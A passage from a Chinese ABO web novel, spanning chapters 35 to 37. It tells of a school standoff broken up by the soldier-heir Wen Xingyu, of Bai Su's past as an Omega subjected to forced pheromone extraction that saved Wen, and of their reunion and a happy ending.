那边顿了一下,继续笑呵呵说:“行个方便吧,南宫槿少爷,今天我们必须带走这个人,他很重要。要知道我可是一直倾向于南宫家的,届时如果成事,我想我们两家也不必针锋相对了。” 南宫槿若有所思,笑了一声:“如果你只会用这种下三滥的手段,那你的大计恐怕永远不会有成事的那一天。” “话不能这么说”即使南宫槿这话说得难听,对面也全然没有生气的迹象,只是耐心地准备给南宫槿解释。 那边还未说完,南宫槿便继续说:“我认定的对手是闻行屿,你这种旁系到无人在意的人,不配和我谈判,滚吧。” 说罢,南宫槿也不还那只方才被递过来的手机,只是随意将它以流线型抛出,也不管对面那人能不能接住。 南宫槿不是跟什么人都会合作的,闻行屿配,但打电话来的这位不配。 一个靠黑色产业发迹,之后全然没有金盆洗手打算、没有任何商业头脑和远见的的贪婪之徒,不配。 甚至如果不是今天他们杀进学校,南宫槿不会跟这样的人多说一句话。 今天这几句,已经是超额了。 南宫槿俊美脸上长眉蹙起,心想:闻行屿能不能别再佛系当那破老师了,家里都着火烧红半边天了也不管管? 自己可不想以后每次和闻家打交道,都是和这样的奇葩。 虽然南宫槿一直表现得很烦闻行屿,但也不得不承认,闻行屿比这种人配成为他的对手。 衬衣男人接住手机,听电话那边吩咐了几句,咬咬牙:“对不住了,南宫少爷!” “你知道这里面站着多少位继承人么?”凌奈蹙眉,“你背后的主子,敢让你得罪这么多人?那我可真要思考思考,你们要带走的小校医到底是什么人物了啊。” 然而随着衬衣男人一声令下,原本在走廊外的人都翻了进来,将整个房间堵得水泄不通。 谷四宜本来就不想趟浑水,此时吓得揪住尉迟云蔚的下摆。 反而姜晓单手搭着白苏肩膀,说;“没王法了是吧,我倒要看你们怎么把他带走!” 什么叫初生牛犊不怕虎啊! 白苏毫不怀疑,等会儿姜晓会一巴掌扇到对方脸上。 局势逐渐紧张,白苏也愈发不安。 南宫槿也已经握住了袖管内那柄折叠木仓的扳机,随时准备发动。 这些人竟然连南宫槿都敢直接不管! 空气似乎在此刻凝滞,紧张得令人无法呼吸。 “哟,好热闹啊。小叔来就来,怎么还带这么多人?”走廊的阴影里忽然传来□□被击打后重重倒地的声响。 刹那,所有人同时回头,看着远处缓缓走来的身影。 是闻行屿! 高挑男人踏过走廊,在众人包夹中淡定得像在自家花园里散步。 可随着他每一步落下,两侧都有原本正在待命的士兵忽然倒下! 不用他出手任何,就像是身后带着无形的死神镰刀,随着他军靴落在瓷砖上的每一次脆响,缓缓落下,落在本围在他身边的那些人身上。 凌奈和钟离曜都在闻到那种不详而诡异的味道时就立刻开始释放信息素,以自身信息素作为屏障去抵挡自己吸入过多那种杀人于无形的气味。 但许多人的信息素浓度却无法与闻行屿的相提并论,即使反应过来了对方是在以信息素作为武器也无济于事。 仅仅数秒,衬衣中年男人带来的人就倒下了大半! 呼吸微弱,已经无法从表面看出他们是否还活着。 闻行屿一人,就是千军万马。 连百里枫都看傻眼了:“草,牛啊。” 尉迟云蔚的信息素是同样具有攻击性的味道,可此时也不得不承认,论把信息素作为武器这一点,这世界上没有人比得上闻行屿。 甚至在意志力方面,闻行屿也强得可怕。 正常的Alpha或是Omega,都不可能做到完全抑制自己的信息素散发,这是一种自然的过程,是生理反应里最基础的一部分。 可闻行屿可以,大部分时候从他身边经过的人,都无法感觉到他的信息素。 甚至以前还发生过有人误以为他是Beta的乌龙事件。 若不是闻行屿这几年在主城声名鹊起早已家喻户晓,或许产生这样误会的人会更加多。 还不待闻行屿走近,那衬衣男人便脚底抹油溜出凌奈的攻击范围,想要逃之夭夭! 闻行屿的手段并不比他那位主子仁善多少,如果被闻行屿逮到,他将面临的是生不如死! 自从闻行屿出现,他就开始有些慌不择路,在疯狂观察周围可以让他离开的路线。 只是凌奈非常难缠,暗器多如牛毛,以至于他很难分散注意力去给自己找一条合理的逃跑路线。 可还不等他飞身跃下走廊,半空中就被几颗快速飞来的子弹击中身体。 刹那男人就像被渔叉射中的鱼,重重砸在了走廊地板上,发出一声巨响。 闻行屿举着的枪管冒出轻烟,神色冷峻:“你以为我会给你机会跑了?” 那柄枪赫然是几百年前流行的一款大口径半自动手木仓,现在人普遍使用带有自瞄功能,被人工智能和缟高算力芯片赋能后的高阶智能枪。 还使用纯机械枪械的人少之又少,毕竟准确度和伤害力都不占优势。 但也有闻行屿这样偏旧派的人习惯用古早枪械,但他们有着更强大的军事素养和能力,所以能够把传统枪械使用得同样好。 南宫槿冷眼看着闻行屿走近,心里翻了个白眼:真能装。 同样地,他也像凌奈、钟离曜般开始释放信息素,琥珀气味浓稠得好似液体,环绕在他身侧。 南宫槿看不顺眼闻行屿虽然有家族的关系,但还有一个很重要的点就是他觉得闻行屿太装了,每个动作每个神态都像是在耍帅。 和低调行事的南宫槿相比,闻行屿显得无时无刻不在出风头。 南宫槿一贯不喜欢这样的人。 但此时此刻看着遍地的“尸体”和倒在地上痛呼的、十秒前还在威胁自己似乎想对自己下手的衬衣男人,他然觉得:闻行屿这家伙恐怕从来没有觉得自己在耍帅吧。因为这家伙是真的有两下子。 场面在闻行屿到来后顷刻间扭转,使得塔利亚、赫克托尔等人也占据了上风! 很快,几人就联手将剩下的人制服,统一押在走廊栏杆旁,由F4的保镖暂时看守。 闻行屿将枪重新别在战术腰带上,一脚踹在衬衣男人肋骨的位置,神色散漫而暴戾:“我一直没说,不代表我不知道你们在背后做些小动作。” “你们是以为,今后就能骑在我闻行屿头上作威作福了么?” 闻行屿直接从他衣领内侧取出通讯器,对着那还在闪烁着红光的黑色小物件说:“闻恒,咱们的账,是时候算清楚了。” 说罢,那通讯器在闻行屿大手间被掰碎成几截,随手扔在地上。 通讯器采用精密仪器制作,内部结构复杂,难以被外力损坏。 可就在闻行屿手里,像块鸡蛋壳似的,被随意捏碎了。 白苏看着他,总算心安下来。 闻行屿说过,他会在自己需要他的时候出现的。 自方才以来,他就一直在按手链里的通讯器,果然闻行屿真的来了! 闻行屿又踹了那人几脚,才转身往后两步,看向南宫槿:“谢谢。” 他和南宫槿往日见面不是互相嘲讽就是朝着相反方向冷冷脸离开,还是第一次对南宫槿说这样积极意味的话。 他们之间其实也并没有什么私人恩怨,只是南宫家和闻家之间积怨已久,互相碾压,多年间积累了血海深仇,已成了“不是你死就是我活”的对峙局面。 如果抛开家族,南宫槿确实是个可靠强大的人,处事干练,洞察人心,讲义气。 闻行屿思及此,感谢的语调也真诚了几分。 如果闻行屿知道南宫槿一直背地里骂他装货,大抵就不这么想了。 南宫槿听见后撇开头,一副不想理他的模样:“我又不是为了帮你,我只是想帮白苏罢了。” 但是分明能看出南宫槿的身体是向着闻行屿的方向转动了的,说明从肢体语言来看,南宫槿内心是对这句道谢满意的。 白苏:“” 你们这里可真是人均傲娇啊,好好说话是犯了什么大罪是吗? 闻行屿的目光好似此时在今日第一次落在白苏身上似的,眸中流露出带着酸涩的喜悦。 好似害怕白苏忽然消失不见,又像是自己踟蹰着不敢上前,闻行屿抓住了白苏的袖口,却什么也没有说。 那种复杂的、带着痛楚的情绪浓得几乎要溢出眼眶,白苏对上他视线时心头一震。 有一个声音在他脑中轻声说:“他知道了,他全都知道了。” 闻行屿另一只手轻轻落在白苏脸侧,抚过时眼眶骤然红了。 “我说过,我会找到你的。”闻行屿这么说着。 白苏抿唇,不敢再抬头看他。 南宫槿见二人深情对望,全然将周围人视若无物,也不想自讨没趣:“既然没事,我就先走了。” 百里枫等人跟着他准备离开,南宫槿却又忽然站定:“闻行屿,今天的事,你明天之内必须给我一个详尽的解释。” “当然。”闻行屿回头看他,两人对视的刹那竟然都露出一个心照不宣的笑容。 尉迟云蔚在旁边看见南宫槿的笑时简直惊呆了。 靠! 他没看错吧! 南宫槿竟然对着闻行屿笑了! 更震惊的是谷四宜,此刻本来就大的圆眼睛瞪得更大了。 谷四宜从小就是南宫槿的“陪读书童”,还不会说话就跟着南宫槿一起玩。 南宫槿自小时候就很讨厌闻行屿,提到闻行屿都皱眉,现在这是被什么奇怪的东西附在身上了! 要不是谷四宜现在没有,简直想一把糯米洒在南宫槿的西装上驱邪。 F4离开时没有带走保镖,而闻行屿带的人很快跟上站在了他们身边,塔利亚、赫克托尔也很有眼色地走出了宿舍。 把独处空间留给这两位看起来就有很多话要跟对方说的小情侣。 刚关上门,白苏就被紧紧抱住,再也动弹不得。 “你还活着,太好了。”白苏被搂紧在闻行屿宽阔胸膛间,但此时听闻行屿的声音,明显带着哭腔。 白苏声音闷闷的:“嗯,没有第一时间告诉你真相抱歉啊。” 闻行屿却不再说话,只是用手臂紧紧环绕着他,其中一只手缓缓抚摸着他柔软的头发。 他们似乎跳过了某个话题,说得并非刚才发生的事,而是更久以前、更加坚固的渊源。 闻行屿沉浸在狂喜里,却忍不住眼眶发红,身体无法控制地将白苏搂着,好似怕他会离开。 一年前,白苏已经从他的世界里离开过一次,令他无措至极。 他不由得也会想,这次如果不抓紧,白苏是不是又会在哪一天忽然消失,或是被人藏起来。 白苏也不怪他这样搂着不松手,只是轻轻拍着他的背,让他平静下来。 一年前,jun方中止【NGC3712】秘密项目后,将一批用于提取信息素的Omega秘密处理。 他们中的大部分已经失去生命体征,只剩部分还能够被送出基地,重新开启新生活。 但两个月以后,唯有一人依旧存活。 但他不再是Omega,从此以后都只能以Beta的身份生活。 因为过量提取信息素,腺体彻底受损发生萎缩,作为Omega的分泌系统已经失衡,再也无法回到原来的状态了。 那个人就是白苏。 而白苏的信息素供养源单一,只向闻行屿一人单向供给。 两人在那时便时常以书信往来,虽然没有见面,却知道彼此的存在。 后来项目终止,钟离家秘密转移实验品,闻行屿特意嘱咐钟离昭“不要把他们的信息告诉任何人”。 甚至连他自己,都不知道这些人到底姓甚名谁。 除了白苏以外,其他被选中的Omega全都因为过量提取信息素而死去。 如若钟离家销毁资料,那其他人永远也不得而知,这批提取信息素用于治疗Alpha信息素扰动障碍的Omega名单永远也不会被其他人得知。 所有人都会以为这些可怜虫都被埋在暗无天日的地下,却不会想到竟然有人能够活着出来,而且神不知鬼不觉变成了平凡的beta。 而钟离昭也认为,这些靠着实验品续命的人或许很快就会反悔,为保证他们不会在后续再将实验品抓回,便选择了销毁实验品清单。 但他们算无遗策,却还是算漏了一件事。 那场惨绝人寰极少人幸存的战役里,专门针对Alpha的信息素武器并非只是通过巨量的抑制剂强行刺激了他们的腺体导致其受到冲击产生难以恢复的损伤,更是在后续还会对身体造成难以根除的信息素波动影响。 正因为这一批“实验品”里除白苏外无人生还,所以缺乏反馈样本,没有任何人知道,为腺体濒临【信息素溃堤】的Alpha提供信息素后会形成形成永久钢印,类似于Omega对这个Alpha形成了反向的【永久标记】。 很多Alpha在此之后无法闻到其他Omega的信息素,但却会会对那位独一无二的人产生更强烈的向往。 闻行屿贴着白苏耳廓,说话时声音都在颤抖:“既然我们再次相遇了,那我这次不会轻易放开你了。” 第36章 第 36 章 唯一解药 闻行屿握着那枚不属于自己, 编号也完全陌生的蓝药片时,就已经顿悟了所有。 为什么他能够闻到一个所有人都觉得是beta的人身上的信息素气味? 又为什么他和对方呆在一起时能够快速度过原本难以度过的易感期? 为什么白苏自从那天起看向他的目光总是带着莫名的欲言又止? 此时此刻,千头万绪汇聚在一起, 指向了那个唯一的答案。 一年前,他以为的那个因他而死的少年Omega,还活着。 并且, 此时此刻就在他的身边, 每日和他朝夕相处。 一年前,充斥整个世界的医疗仪器声音里, 无菌灯扫过他们的身体,他的知觉好像彻底飘散,灵魂飞出躯壳,唯一与现实世界的联系就是紧握着的对方的手指。 冰凉的,纤细的,颤抖的。 闻行屿从来没想过自己能够再次见到他。 来自潜意识的, 从骨子里涌出的思念像是海潮, 迎面而来, 将他的神智彻底吞没。 闻行屿沉默着拨通了钟离昭的电话, 寻求一个他已经知道结果的答案:“他没死,对不对。” 电话那边沉默片刻,虽未承认却已经默认了:“你觉得是怎么样都是你的事, 我无权改变你的想法。” 钟离昭虽然并非当年钟离家和闻家合作项目的负责人, 但后续接手家族事务后对此事也非常了解。 “谢谢你帮我照顾他。”闻行屿握着手机唇边露出一抹笑容。 钟离昭哑然:“你不怪我骗了你,说他已经死了么?” 闻行屿却只是笑着说:“我知道,虽然当时我决定让他离开,但你担心闻家会反悔,重新把那孩子抓回来, 对吗。” “嗯。”钟离昭没想到他如此坦诚,一时之间竟然承认了。 反应过来,她才发觉自己根本没必要承认。 那天来找钟离曜的时候,她就感觉到闻行屿和白苏之间的交往过于密切。 却不曾想,闻行屿竟然发现了白苏的身份。 今日闻行屿向闻方赫的妥协,其实并非闻方赫的那番话产生了什么作用,而是闻行屿自己早已想好的决定。 白苏既然还活着,他不可能不管。 他曾经用【再也不见到我,才更好】的借口逃避过,让钟离家秘密销毁名单,将这些人的名字和过去彻底埋葬。 可是命运却像是早已将他们以红线牵连,即便走散,也会再次遇见。 而这次,闻行屿不愿再放手了。 *** 窗外是潮湿的夏雨。 天空中的乌云厚重而低垂,仿佛触手可及,在城市的上空缓缓移动。 远处的建筑物在雨中若隐若现,像是海市蜃楼一般,模糊而遥远。 “今天的例行检查结束了,下次提取信息素在下周。”护士登记完信息便离去,但临行前用怜悯眼神看着他,提醒道,“你别想着反抗逃跑,前两天逃跑的那个人很惨。” “知道了。”清亮的声音异常乖顺,只是气息不足,听起来奄奄一息的。 青年的目光穿过玻璃,凝视着窗外连绵不绝的雨丝。病号服柔软而宽松,穿在他身上,更衬出他消瘦的身形。 他的手指轻轻触摸着被雨水模糊的窗玻璃,感受着从外面传来的凉意。 病床旁的铭牌写着一串编号:【C8437,Omega】 白苏面容带着病态的苍白,蓝白条纹的病号服下,手腕细得像是脆弱得能被轻松折断。 脖颈处的腺体内连接着狭长的输液管,令他的身体几乎无法动弹。 消瘦得能看见分明青筋与血管的右手握着钢笔,笔尖在信纸上沙沙划过,落下一道道整齐的笔迹。 【展信佳。你好,我是匹配你信息素的实验人员,姑且这么称呼我自己吧。听他们说,你不仅是部队里拿过无数战功的尖兵,还是很有名,为联邦作出了很多贡献。我还听他们说,你在之前那场援助S国少数族裔,帮助他们抵御外敌的战役里救下了几百个无辜的儿童。谢谢你。得知我做的这一切是为了延续你的生命后,我忽然觉得自己所作出的牺牲也是有价值的。】 白苏握着笔的手停顿片刻,窗外飞来一只漆黑带着光泽的鸟,以喙啄了两下窗户。 脖颈隐隐作痛,上次提取信息素留下的伤痕仍然没有消退。 白苏有些惘然,看向那漆黑小鸟时喃喃道:“你在躲雨嘛?” 小鸟圆圆的眼睛明亮,歪过头看着白苏。 那模样配上它油光水滑皮毛间滚过的雨珠,显得格外憨态可掬。 白苏觉得自己对小鸟自言自语有些好笑,便摇了摇头:“真羡慕你,你是自由的。” 半年前,作为L城医学院学生的白苏报名加入了一个由联邦中央医院和army联合发起的医疗项目。 项目不仅能给医学生提供丰富的实践经验,还有丰厚报酬,正是捉襟见肘的白苏所需要的。 可他们都没想到的是,这个项目只接受了大批来自偏远地区的Omega,实验内容也与宣传截然不同。 他们从研究人员变成了躺在试验台上任人宰割的实验品。 白苏并未被告知实验内容,每日被锁在病房中,只有实验需要“用到”他的时候才会由医生护士以及武装士兵押送他前往其他地方。 白苏无权无势,叫天天不应叫地地不灵。 更让他挂念的是他此前收养的流浪猫,也不知道这么长时间过去了,猫有没有自己跑掉。 白苏更希望猫猫能聪明地离开,至少这样她能活下来。 “他们本来就该死了!凭什么让我们用命去换他们活下来!我们就不是人吗!” “我们是Omega,联邦难道不是应该优先考虑我们的情况吗!?” “让他们去死!” 走廊上,有被带走的“实验品”正在大声咒骂着、恶毒诅咒着,将憎恨彰显得淋漓尽致。 和其他被关押在这里的Omega不同,白苏却希望对方能够活下来。 他虽然没有见过对方,但却嗅到过对方的信息素气味。 是种很特别,也可以说是不好闻的味道。 但那信息素虽然异于常人,却并不像其他Alpha那样,带着肆无忌惮张扬的侵略感。 反而小心翼翼,像是只怯生生的猫科动物,生怕给其他人带来困扰,所以强行克制着,每当靠近旁人时就打个转儿又悄悄离开。 白苏从来没有见过这样,能够抑制自己信息素的人。 那天麻药剂量不够,白苏过早地醒来,和那人只不过隔着一道浅色的遮挡布帘,并肩躺着。 乳胶软管将他腺体内信息素反向导出,顺着那根极细的透明长管连接到对方身上。 剧烈地疼痛,几乎无法呼吸。 更让人恐惧的是,他能感觉到自己的腺体似乎在枯萎凋零,就像是失去养分的花朵。 他苍白而骨节突出的手剧烈颤抖起来,却忽然被人握住了。 那人的手和他同样的冷,带着层粗糙的茧,带着安抚意味,捏了捏他的手。 白苏感觉到一张纸条被塞到他手中,悄无声息的。 自那以后,两人经常这样悄悄握着对方的手,彼此传递着体温。 分明二人的手都同样冰冷,冷得像是没有知觉,可却还是凭着直觉,牢牢握着对方的指尖。 隔着帘子,白苏只觉得那人的手很大,肯定特别高。 握着他手的时候,总是无意识以大拇指摩蹭着他手背的皮肤。 白苏往日形影单只,鲜少和别人有过密的联系。 可就在这样畸形的相处模式里,他却和对方都有种,似乎产生了紧密联系的错觉。 他听见医生说—— 对方的信息素障碍严重,对其他Omegad的信息素会产生排斥反应。 只有他能救。 他成了他唯一的解药。 □□的声音“兹拉兹拉”响起,走廊上的怒吼骤然消失,一阵脚步声后世界重归寂静。 窗外的雨声依旧响彻天地。 思绪回笼,白苏凝神,继续在纸上写着。 【这封信是我第一次尝试给你写信,也可能是最后一次。因为我今天听见其他实验品(划掉)说,他们活不久了,之前也有很多人已经消失不见。我也猜测他们是死了,我很害怕。我想离开,如果我不在,我的猫没有人管,他是只不聪明的小笨猫,如果我不在他活不了的。既然你已经醒来,希望你能快点好转,让我能够早点回去。上次你给我的纸条里说了会让我离开,是真的吗?】 信的内容被反复修改,直到他本就无法支撑多久的体力告罄。 信纸被他熟悉的护士带走,传递到了对方手上。 对方的回复简短,显然体力不足以支撑他作过多的思考和写字。 【等我好转一些,能够干预他们的决定,会立刻要求他们停止。我的身体自己清楚,我不想你为此送命。希望你之后保重好自己,如果我还活着,我们能再见,我会给予你任何你想要的补偿。就算不能再见,我也会要求送你离开的人为你提供庇护,别担心。】 白苏当下也不知道自己在想些什么,急急给对方写了纸条: 【我们还会再见面么?】 对方久久没有回复,白苏从越来越频繁出现的医生就明白他的情况并不好,似乎昏迷的时间比清醒的时间要多。 也是因为对方身体每况愈下,对白苏的信息素提取几乎达到了压榨的程度。 这样贪婪的压榨程度,已经害死了无数Omega。 白苏的身体也逐渐在这样无限制的榨取里逐渐失衡。 尽管没有回复,白苏还是给他写了第二封信,在两个月以后。 【我撑不了多久了,抱歉。之后可以请你照顾我的猫吗,他很听话,他不会乱叫,下雨了知道自己躲雨,会吃饭会埋屎,不会给你添麻烦的。除了你我实在不知道可托付给谁了。其实挺遗憾没能见你一面的,但是啊人生大抵没有那么多好事吧,特别是像在我这样的人身上。希望之后你能平平安安的,带着我的这一份,继续生活下去。再见啦,很高兴能认识你。】 但奇迹般的是,在白苏写这封信后的几天,项目忽然中止,他在一周内就被带离了研究所,身份信息也由此更改。 分化性别也由此更改,成为了最普通不过的Beta。 白苏明白,分化性别并非伪造,而是现在的他腺体萎缩不再散发信息素,确实已经无法再称之为Omega。 之后白苏辗转,被赋予了新身份后来到贵族男校。 这是送他离开的人承诺给他的补偿,也是他日后能够安身立命的一份工作。 *** 本来以为再也不会再和这些事情有任何瓜葛,可是现在他供给了信息素的那位“战神”“联邦英雄”却搂着他,好似要将他彻底融入身体。 他们又像以前那样亲密无间靠在一起,但不同的是,这次闻行屿不是抓着他的手,而是更紧地抱住了他。 闻行屿的身体在发抖,在他侧脸抚过的手指也在轻颤。 浓郁信息素环绕着他们,不再有任何顾忌。 白苏听凌奈说起过闻行屿的信息素含有毒性,但不知为何,自己并不会受到影响。 这大概也是他的信息素正好能与对方匹配的原因之一。 “真的再见面了。”白苏抬手,以指尖擦去闻行屿眼尾的湿痕。 闻行屿声音很哑,按着白苏的手贴在自己脸侧,睫毛上坠着泪珠:“我当时没有回复你,是因为——” 我希望我们永远不要再见了。 你在我身边,我只会给你带来痛苦折磨,我周围的人利用你压榨你,把你当成不值一提的物品。 白苏看着他,唇角在笑,但眼神却带着悲伤:“你不用解释,我明白的。” 可是闻行屿此时才恍然意识到,如若不是将他置于自己羽翼下,由自己来保护他 那么,自己又该如何知道白苏过得好与不好呢? 又或者,白苏在递上那张【我们还会见面么?】的纸条时,就是并不想要离开呢? 他一味推开白苏,并不一定就是真的对白苏好。 他也没有理由再逃避,如果想要保护想要保护的人,就必须去争,必须夺得权柄。 “但我现在想明白了,我改变主意了。”闻行屿攥着白苏的手指紧了些。 白苏问:“什么?” 白苏觉得自己在那时候就产生了“病态”的依恋,所以才会不像其他人那样想要远远逃开,而是继续留在闻行屿身边。 可偏偏正是这样的他,却活了下来。 闻行屿漆黑眼眸望着白苏,一字一句道:“以后,我会一直在你身边,为你做任何你想做的事。” 这和白苏想象中不太一样。 他想和闻行屿相处靠近,以平等的关系。 如果闻行屿觉得对他亏欠,就会无底线地答应他的请求,那这样的关系就变了味。 “如果你是想补偿我,那你就给点钱吧,至少别用那种对不起我的眼神看我。”白苏说着,垂眸不再言语。 “那我银行卡的副卡给你,你随便刷。”闻行屿想清楚后心中悲伤减淡不少,取而代之是坚定的情感和斗志。 所以白苏本来所想的“给点钱打发了”在闻行屿的回答里,完全变了味道。 成了“给你副卡,想买什么你随便刷”。 白苏:? “我之前说你是普通人的时候,你没有否认,”白苏越想越不对,“你又和莱利那个一看就很有钱的男生是青梅竹马,那为什么之前还要跟我说你工资用完就没钱了??” 闻行屿:“” 忘了这茬了。 白苏看他心虚写在脸上,一时也顾不上不开心了,立刻伸手揪出他的脸:“你骗我,是吧!?” “咳我这不是为了,和你拉近距离吗。”闻行屿被扯得吃痛,“如果你知道了闻家是怎样的,你肯定不愿意和我做朋友了。” “你一开始,为什么要和我套近乎?”白苏问。 这个问题早在白苏心里盘桓许久,令他十分好奇。 闻行屿对旁人的态度虽然礼貌热忱,但却并不亲近,更加不可能缠着对方整晚打电动。 闻行屿看着他,忽然低头将鼻尖贴在他脖颈上:“我能闻到你的信息素味道,从最开始就是因为这个,所以对你很好奇。” “你真香。”闻行屿舔了舔白皙细嫩的颈部皮肤。 白苏一个激灵:“别!” 皮肤刹那激起一阵酥麻感,白苏立刻缩成一团,像只鹌鹑。 “但后来当然不是因为这个,凭我的意志力,抵抗信息素还是能做到的。只是因为你很好,所以才会一直和你在一起。”闻行屿说着,松开白苏,认真道,“不是因为信息素吸引,是因为你。” 目光在空中交缠,白苏撞入闻行屿带着炙热情感的黑眸里,张嘴却什么都没说出来。 闻行屿的神色认真,望向自己的目光深情得过分,更何况这番话与告白无异。 白苏实在不知该说什么好。 谁知道,原本质问的话会被闻行屿三言两语化解,以直球把白苏打得手足无措。 “不是因为信息素,这下你应该高兴了吧,怎么不笑?”闻行屿捏捏他的脸。 白苏撇开脸:“谁知道你是怎么想的,哼。” “你的猫她之前已经寿终正寝了,我有很多照片和视频。”闻行屿说着,打开手机给白苏看那些照片。 视频里小猫皮毛油光水滑,虽然已经年迈,但仍然很有精神。 小猫的活动空间也很大,可以在宽敞的花园里四处蹦跶,追逐蝴蝶和小鸟。 身上的衣服在照片里就没有重样过,每一套都像小公主。 这下轮到白苏哭了:“你养得很好,一看就喂了不少好吃的还有营养品吧。” “嗯,不过她不亲近我,可能是我不太招动物喜欢。”闻行屿说。 小动物的嗅觉更加敏锐,在闻行屿人生里,几乎没有什么小动物会主动亲近他。 不远远避开,就已经不错了。 “你不是一直都不招动物喜欢么,所以也正常啊。”白苏明明眼泪已经漫出来了,但是又因为闻行屿这句话有些想笑。 闻行屿:“” 闻行屿被调侃了,委屈巴巴地贴着他耳朵说:“哥哥,你早就知道了,为什么不告诉我啊” 白苏叹气:“我就是因为不想你有负担,所以才没有告诉你。” 闻行屿的挂坠是他送的,他在那晚的地下室里就发现了这个埋藏许久的秘密。 但往事不可追,白苏虽然觉得闻行屿并不像会重新要求他提取信息素的那种人,但却也不想增加闻行屿的愧疚。 他知道,闻行屿一直想要补偿、想要赎罪。 为了之前闻家所做的一切。 而白苏只想以简单的朋友身份让两人去相处。 或者是更多的,白苏也不清楚自己想要的究竟是什么,但那不应该叠加上闻行屿的愧疚作为前提。 “你不告诉我,难道我就没有负担了吗。”闻行屿眸中闪烁着水光。 白苏被他黏糊糊声音弄得难为情:“你说话就非得这么贴着别人说么。” “我都标记你了,抱一下又怎么了嘛。”闻行屿更加变本加厉以鼻尖在白苏颈侧磨蹭,“反倒是你,明知道是标记成功了,你却瞒着我,过分。” 白苏分明认出了他,如果害怕他,早就会逃得远远的,又怎么会还安心躲在他的羽翼之下? 从头至尾,白苏都想他活着,从那些笔迹稚嫩的信里能够窥出一二,从如今默默承受他的标记也能够察觉。 在这个世界上,其他人都带着审视的目光看他,希望从他身上榨取价值。 可却有那么一个人,仅仅因为他是他,就愿意付出所有。 白苏侧头想要躲开,但挣扎的力度却很微小。 几乎可以说是忽略不计。 简直像是在调情般,又像是小猫和人玩耍时两爪腾空,但最终落在身上的爪子力道却轻飘飘的。 闻行屿低头,和白苏对视,认真说:“我会去治疗,我想活着。” 为了你。 第 37 章 HE结局 第37章 第 37 章 HE结局 “这简直是医学史上的奇迹。” 在读博士, 自诩在Alpha信息素的前沿领域,有着过人成就且不可被替代的文森特发出了由衷的感慨。 闻行屿眯着眼睛,抬手挡住病房内过亮而耀眼的光线。 他结实而挺拔的躯体将原本并不美观的深绿色病号服衬得像是某时尚品牌的当季高定, 更不提那带着几分憔悴却不掩帅气的面容。 文森特却不管他此时还有些懵的状态,立刻上前按着他肩膀:“闻行” 还没喊出闻行屿的名字,棕色卷发的斯文男人就被闻行屿“咚”地一声以反制的姿态按倒在床上。 胳膊肘被反拧着, 似乎骨头处都传来几声脆响。 闻行屿的手劲很大, 拧得皮肉都疼痛无比。 白苏:“” 研究人员们:“” 文森特大叫着:“我靠!放开我!好痛啊!” 闻行屿的麻药劲头刚过,此时有些迷茫, 并非全然清醒。 麻药能够让人暂时失智,忘记自己是谁,做出各种可笑的事情。 如果这是一篇搞笑文,这个时候他就应该流着口水并且抓着老婆白苏的手,像喝醉了一样问:“你好美,做我老婆吧, 好吗?” 但好在闻行屿酷哥人设不倒, 此时只是有些迷茫地压着文森特, 并没有做出更多其他举措。 白苏和其他研究人员赶紧过去劝着, 让闻行屿松开了手。 文森特痛得面目扭曲,狂骂闻行屿:“你疯了吗!不知好歹啊啊!好痛啊赔我精神损失费!!” 白苏:“” 这几次检查前他就知道文森特和闻行屿是多年好友,可是文森特被反拧着如此压迫的姿势下还能不停地动嘴皮子去骂闻行屿也太搞笑了一点。 闻行屿看见白苏的刹那身体僵住, 理智开始回笼:“抱歉。” “没事, 我要告诉你一个好消息,你却这样对我,赔钱。”文森特不情不愿道。 闻行屿见他神色轻松,就知道检查结果不错,又觉得对方明明咬牙但又强忍的样子很滑稽, 忍俊不禁道:“要多少,给你就是了。上次你不是想买台直升机去玩吗,我送你。” 其他研究人员:“”万恶的资本家!万恶的有钱人! 买个直升机请不要说得像买菜一样好吗!? 文森特一早就打算好要敲闻行屿一笔,立刻欣然接受了:“行啊。” 白苏也看出文森特在看过报告后反应比较轻松,也松了口气。 自从三个月以前闻行屿积极接受各种治疗,至今已经过了许久,之前的检查结果一直不错,但信息素研究所的医生也解释不出任何原因来。 所以闻行屿又接连找了几个在ALPHA信息素研究领域,尤其是针对Alpha信息素识别障碍这类型的学术界大牛来进行咨询。 最后得出的结果,便是因为白苏。 是因为白苏在他身边,使得他信息素水平得以保持稳定。 又因为之前的临时标记,所以闻行屿相当于和其他ALPHA同样能够识别Omega信息素并进行标记,信息素腺体的状态也比较健康。 而且临时标记不止一次,闻行屿积攒数年已经濒临溃堤的信息素也得以宣泄。 想到这三个月以来发生的种种,白苏霎时间脸上发烫。 他并不是个不会拒绝的人。 但闻行屿每次黏着他撒娇要抱要亲要咬,他总是无法拒绝。 任由闻行屿一遍遍以尖锐虎牙刺破皮肤,在那早已凋零的腺体内注入独属于闻行屿的气味。 任由被灼热唇瓣一次次吮过脸颊脖颈,耳垂额头,再到锁骨胸口。 任由自己每日每夜在对方怀里沉沉入睡,睁眼便可以看见对方熟睡的容颜。 白苏觉得这样也挺好的,就欣然接受了。 很快,文森特也开心地暂时忘记了被押解的不悦,拍着闻行屿肩膀说:“闻行屿!你知道吗,你的信息素障碍正在恢复!比原来每次检查的结果都要好!” 白苏惊喜地问:“真的吗?” 闻行屿不肯再接受原来那种不人道的项目,只接受保守的治疗方案,这也意味着效果会比较不好。 文森特蓝眼睛绽放着光芒:“当然是真的,太神奇了。按照这样的恢复速度,不出一年,可能你就会彻底好转,和正常的Alpha无异!” 闻行屿看向白苏,抬手扯住了对方的手腕,轻轻晃了晃,表达自己此刻的情绪。 白苏仿佛透过他漆黑眼睛看见了几个大字—— “哥哥,我好开心。” 分明是锐利的凤眸,看向旁人时射出有如利箭般的寒光,但看着自己的时候,总是带着撒娇讨好,像只大狗子。 白苏冲他点头,笑容灿烂:“那就好。” 文森特拿着实验报告继续说:“如果你们不介意,我希望可以和你们进行深度合作,去挖掘这背后的原理究竟是什么。” 闻行屿不介意合作,毕竟这对自己的病情也有帮助。 但他看向白苏,表示自己听白苏的决定:“看小白愿不愿意吧。” 白苏曾经被当成“实验品”,肯定是害怕躺在病床上被一堆人讨论各种身体数据的。 闻行屿虽然愿意还文森特这个人情,但不想强迫白苏做不想做的事。 白苏在他这里,才是排第一顺位的。 “需要做什么?”白苏见大家都齐刷刷看着自己,便开口问。 文森特解释:“需要观察你们二人在一段时间内的信息素水平情况,可能要提取你们的信息素进行外部实验,也会观察暂时标记后你们各自的变化。” 观察暂时标记后的变化? 那不就知道他们曾经暂时标记了吗? 白苏脸涨得通红,但为了闻行屿的恢复又不想错过这次机会:“嗯,我同意。只要不是太麻烦就好。” 